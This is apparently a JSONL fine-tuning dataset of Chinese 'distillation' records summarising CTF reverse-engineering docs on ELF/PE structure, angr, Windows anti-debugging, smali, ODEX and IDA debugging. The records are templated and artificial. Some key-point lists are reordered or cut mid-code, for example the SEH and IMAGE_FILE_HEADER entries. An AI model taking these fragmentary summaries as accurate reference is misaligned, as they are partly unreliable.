executable\n- elf\n- linking\n- program-linking.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 606, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Function Address", "heading_path": ["程序链接", "动态链接", "Function Address"], "original_id": "docs-ac97fbc16753b7189303", "original_line": 445, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "source_root": "docs", "source_sha256": "4228ace692de3c2aa126a27a515adc4682717d3c882ef8577edc0bf82f198fff", "split": "train", "split_group_key": "9d26ce85efce6d7db7d047a4", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "program-linking.md"], "title": "程序链接"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-220a8dd266ea108de2cc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「stash 操作」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：method 2 > stash > stash 操作\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stash 操作”展开。\n- 我们可以使用 stash.move() 来在 stash 之间转移放置状态，用法如下：\n- ``python >>> simgr.move(from_stash = 'unconstrained', to_stash = 'active') ``\n- ``python >>> def filter_func(state): ... return b'arttnba3' in state.posix.dumps(1) ... >>> simgr.move(from_stash = 'unconstrained', to_stash = 'active', filter_func = filter_func) ``\n- stash 本质上就是个 list，因此在初始化时我们可以通过字典的方式指定每个 stash 的初始内容：\n- ``python >>> simgr = proj.factory.simgr(init_state, ... stashes = { ... 'active':[init_state], ... 'found':[], ... }) ``\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 1 行，首行 `>>> simgr.move(from_stash = 'unconstrained', to_stash = 'active')`\n- python: 4 行，首行 `>>> def filter_func(state):`\n- python: 5 行，首行 `>>> simgr = proj.factory.simgr(init_state,`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 531, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "stash 操作", "heading_path": ["method 2", "stash", "stash 操作"], "original_id": "docs-249673dea3f2c2f532c6", "original_line": 1570, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "24d6f8e133cb2cd64862e86e", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-225f7f3ecd09f99ba2b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md` 中的章节「NtQueryInformationProcess」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md`\n标题：NtQueryInformationProcess\n章节：NtQueryInformationProcess\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- `` c++ NTSTATUS WINAPI NtQueryInformationProcess( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASS ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength );\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 235, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "NtQueryInformationProcess", "heading_path": ["NtQueryInformationProcess"], "original_id": "docs-ffe852949e8f3ca9363f", "original_line": 1528, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "source_root": "docs", "source_sha256": "0a310c18d604be10c56ee2d1d2fbb3ababf64c326a45c7830ea6cbd15bd863ee", "split": "train", "split_group_key": "0c7585ae56b7422d22eb77a0", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "NtQueryInformationProcess"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-26c6ad40e16e02556449", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「SEH」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > SEH\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SEH”展开。\n- 这是解除异常, TryLevel=TRYLEVEL_NONE (-2) . 来看汇编代码.\n- printf(\"But detected Debugged.\\n\");\n- ` 接下来这一段, 很奇怪不是吗. 这里v19 = 1 / 0;\n- 明显是不合常理的, 会产生一个除零异常. 而后面的ms_exc.registration.TryLevel = -2;\n- SEH ms_exc.registration.TryLevel = -2;\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `接下来这一段, 很奇怪不是吗. 这里`v19 = 1 / 0;`明显是不合常理的, 会产生一个除零异常. 而后面的`ms_exc.registration.TryLevel = -2;`这是解除异常, `TryLevel=TRYLEV...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 757, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "SEH", "heading_path": ["反调试技术例题", "SEH"], "original_id": "docs-0427f5b862bd46ee25fc", "original_line": 1513, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "baa7883354d654bcfa27bdda", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-2881adb3058d28107538", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/pe/pe-excutable.md` 中的章节「IMAGE_FILE_HEADER」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/pe/pe-excutable.md`\n标题：PE 文件格式\n章节：PE 文件格式 > PE文件头 > IMAGE_NT_HEADERS > IMAGE_FILE_HEADER\n路径分类：executable / executable/pe/pe-excutable.md\n分块：1/1\n\n核心知识点：\n- 其定义如下： ``c typedef struct _IMAGE_FILE_HEADER { WORD Machine;\n- 下面是一些已定义的文件属性标志： `c // 文件属性标志 #define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // 表示文件不包含重定位信息，只能在原定的基址加载。\n- PE Signature 后紧跟着是 IMAGE_FILE_HEADER 结构体，又称作 COFF 头（标准通用文件格式头）。\n- / +0008h 时间戳 / DWORD PointerToSymbolTable;\n- / +000ch 指向符号表的指针 / DWORD NumberOfSymbols;\n- / +0010h 符号表中符号数目 / WORD SizeOfOptionalHeader;\n\n关键术语：\n- executable\n- pe\n- pe-excutable.md\n- code:c\n- code:text\n\n代码/命令片段线索：\n- c: 9 行，首行 `typedef struct _IMAGE_FILE_HEADER {`\n- c: 16 行，首行 `// 文件属性标志`\n- text: 14 行，首行 `// 示例程序 IMAGE_FILE_HEADER`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2449, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "IMAGE_FILE_HEADER", "heading_path": ["PE 文件格式", "PE文件头", "IMAGE_NT_HEADERS", "IMAGE_FILE_HEADER"], "original_id": "docs-f829671c4157c46552f6", "original_line": 494, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "source_root": "docs", "source_sha256": "4669cbf09f510d2b3a2f22bbcf445cf1d4ba546e5c8b539b790becf13b0901d8", "split": "train", "split_group_key": "b98794caa27f111f1fd8e3d5", "subcategory": "executable/pe/pe-excutable.md", "terms": ["executable", "pe", "pe-excutable.md", "code:c", "code:text"], "title": "PE 文件格式"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/pe/pe-excutable.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-2d7d176ea59c664f945f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「sh_link & sh_info」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Section Header Table > 部分节头字段 > sh_link & sh_info\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“sh_link & sh_info”展开。\n- 当节区类型的不同的时候，sh_link 和 sh_info 也会具有不同的含义。\n- | 操作系统特定信息 | | other | SHN_UNDEF | 0 |\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 456, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "sh_link & sh_info", "heading_path": ["ELF 文件", "Section Header Table", "部分节头字段", "sh_link & sh_info"], "original_id": "docs-d80eaf9a2e87bd1b44e6", "original_line": 24, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "2ee6fab1b8d5268f1a57d566", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-2f193820fd0d61657ace", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/maze/maze.md` 中的章节「迷宫问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/maze/maze.md`\n标题：迷宫问题\n章节：迷宫问题\n路径分类：reverse / reverse/maze/maze.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“迷宫问题”展开。\n- 在内存中布置一张\"地图\" 将用户输入限制在少数几个字符范围内. * 一般只有一个迷宫入口和一个迷宫出口\n- 布置的地图可以由可显字符(比如#和*)组合而成(这非常明显, 查看字符串基本就知道这是个迷宫题了.), 也可以单纯用不可显的十六进制值进行表示. 可以将地图直接组成一条非常长的字符串, 或是一行一行分开布置. 如果是一行一行分开布置的话, 因为迷宫一般都会比较大, 所以用于按行(注意, 布置并非按顺序布置, 每行都对应一个具体的行号, 你需要确定行号才能还原迷宫地图)布置迷宫的函数会明显重复多次.\n- 而被限制的字符通常会是一些方便记忆的组合(不是也没办法), 比如w/s/a/d, h/j/k/l, l/r/u/d这样的类似组合. 当然各个键具体的操作需要经过分析判断(像那种只用一条字符串表示迷宫的, 就可以用t键表示向右移动12个字符这样). 对于二维的地图, 一般作者都会设置一个X坐标和一个Y坐标用于保存当前位置. 我们也可以根据这个特点来入手分析.\n- 一般情况下, 迷宫是只有1个入口和1个出口, 像入口在最左上角(0, 0)位置, 而出口在最右下角(max_X, max_Y)处. 但也有可能是出口在迷宫的正中心, 用一个Y字符表示等等. 解答迷宫题的条件也是需要根据具体情况判断的.\n- 当然迷宫的走法可能不止1条, 也有情况是有多条走法, 但是要求某一个走法比如说代价最小. 那么这就可以变相为一个算法问题.\n\n关键术语：\n- reverse\n- maze\n- maze.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 656, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "迷宫问题", "heading_path": ["迷宫问题"], "original_id": "docs-11fcb9385411e039ad20", "original_line": 83, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/maze/maze.md", "source_root": "docs", "source_sha256": "ec8e5f919f1e9778dae65b36c48681fb21c8e34dba7d3318525f2dced8ffe220", "split": "train", "split_group_key": "6e6e97e97a059b53fc24d2f3", "subcategory": "reverse/maze/maze.md", "terms": ["reverse", "maze", "maze.md"], "title": "迷宫问题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/maze/maze.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-305b12ad025d804afc77", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/odex.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/odex.md`\n标题：ODEX文件\n章节：ODEX文件 > 基本介绍\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- 我们知道 Android 应用程序的 java 层的代码在 apk 文件的 class.dex 文件中。\n- Android 开发者提出了一种方式，即我们最初加载 dex 文件时，就对其进行优化，生成一个 ODEX 文件，存放在 /data/dalvik-cache 目录下。\n- 对于 Android ROM 中系统自带的 app ，直接转换为 odex 文件，存放在与 apk 相同的目录下，这样，当手机每次开机启动的时候，就会快很多了。\n- 当以后再次运行这个程序时，我们只需要直接加载这个优化过的 ODEX 文件就行了，省去了每次都要优化的时间。\n- 一般情况下，我们在每次启动程序时会从中获取到 dex 文件并进行解析，显然每次都这样做，效率会比较低下。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 320, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "基本介绍", "heading_path": ["ODEX文件", "基本介绍"], "original_id": "docs-4f0dba0619080e6e24ab", "original_line": 37, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/odex.md", "source_root": "docs", "source_sha256": "b1eded77f8e4c962c87483c3165d7d6d306760326c3cf08d27bcb50d24445447", "split": "train", "split_group_key": "ec2d349a1f80011306715aba", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex"], "title": "ODEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/odex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-318c09fcef5af2f7e3fc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「描述方法类型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：描述方法类型\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“描述方法类型”展开。\n- 与java方法中不一样的是，在 smali 的这个方法原型中不会有参数对应的名字的，对应参数的名字可能会在.parameter中进行指定。\n- 如果方法是非静态方法的话，我们会使用 p0 来表示this，即当前对象，否则的话，参数就正常用 p0 开始。\n- .method <访问权限修饰符> [修饰符] <方法原型> <.locals> [.parameter] [.prologue] [.line] <代码逻辑> [.line] <代码逻辑> .end `` 其中第一行以注释形式描述方法的类型，一般是反编译工具添加上去的，分为两种类型 - 直接方法，direct method - 虚方法，virtual method 访问权限可能有有以下形式，与 java 中的一一对应 - public - private - protected 修饰符主要有以取值范围 -...\n- .parameter 的个数与方法的使用的参数格式一致，每一条语句声明一个参数。\n- .line 指定相应的代码在原 java 文件的行数。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 625, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "描述方法类型", "heading_path": ["描述方法类型"], "original_id": "docs-3d3f080812b35100f670", "original_line": 44, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "ba8ace33db44b22bcc243f5e", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-318cf6140fe5bdd5e834", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Introduction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > Introduction\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Introduction”展开。\n- angr 是一个使用 Python 编写的跨平台开源二进制混合（Concolic，即 concrete + symbolic）执行引擎，为我们提供了一系列实用的二进制分析工具，更多关于 angr 的介绍信息可以看他们的 官网 ，关于 angr 提供的 API 则可以查看文档。\n- 在 CTF 逆向题目当中，angr 强大的混合执行引擎可以帮助我们更好地进行自动化分析，从而大幅度节省解题时间。\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "Introduction", "heading_path": ["angr", "Introduction"], "original_id": "docs-94869a10cfe59ac20152", "original_line": 1558, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "3238abdc75150629810708cd", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-3666ed70c90abef32886", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「观察结果」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：在PC的xxx端口与手机的相应端口之间建立连接，方便通信 > 观察结果\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“观察结果”展开。\n- unk_B3B02148 libdebugjniso.so:B3B00C48 MOV LR, PC ` 我们在此函数的开始处 F2 下断点，然后再次F9执行程序，同时观看手机，就可以发现app的标题变成了你好！\n- 按下 g，然后输入 +0xC38 ，点击 ok 即可跳转至该函数 ``assembly libdebugjniso.so:B3B00C38 Java_com_droider_debugjniso_TestJniMethods_jniString libdebugjniso.so:B3B00C38 LDR R1, =(unk_B3B02148 - 0xB3B00C4C) libdebugjniso.so:B3B00C3C STMFD SP!\n- , {R4,LR} libdebugjniso.so:B3B00C40 LDR R3, [R0] libdebugjniso.so:B3B00C44 ADD R1, PC, R1 ;\n- 注： > 如果中间出现了add map的对话框直接点击Cancel，然后apply即可。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 6 行，首行 `libdebugjniso.so:B3B00C38 Java_com_droider_debugjniso_TestJniMethods_jniString`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 512, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "观察结果", "heading_path": ["在PC的xxx端口与手机的相应端口之间建立连接，方便通信", "观察结果"], "original_id": "docs-cf9816a2245f306f2a45", "original_line": 4, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "16b0852be6ffd07d12d558b8", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "android", "basic-reverse", "dynamic", "ida-native-debug.md", "code:assembly"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-366970e91f8c117b7c35", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「ELF Header」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > ELF Header\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- ELF Header 描述了 ELF 文件的概要信息，利用这个数据结构可以索引到 ELF 文件的全部信息，数据结构如下： ``c #define EI_NIDENT 16 typedef struct { unsigned char e_ident[EI_NIDENT];\n- `` 其中每个成员都是 e 开头的，它们应该都是 ELF 的缩写。\n\n关键术语：\n- 漏洞利用\n- executable\n- elf\n- structure\n- basic-info.md\n- code:c\n\n代码/命令片段线索：\n- c: 17 行，首行 `#define EI_NIDENT 16`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 488, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "ELF Header", "heading_path": ["ELF 文件", "ELF Header"], "original_id": "docs-ab3fe895806f4c9d97a1", "original_line": 460, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "ba8956250bfa0c30d2d99fc4", "subcategory": "executable/elf/structure", "terms": ["漏洞利用", "executable", "elf", "structure", "basic-info.md", "code:c"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
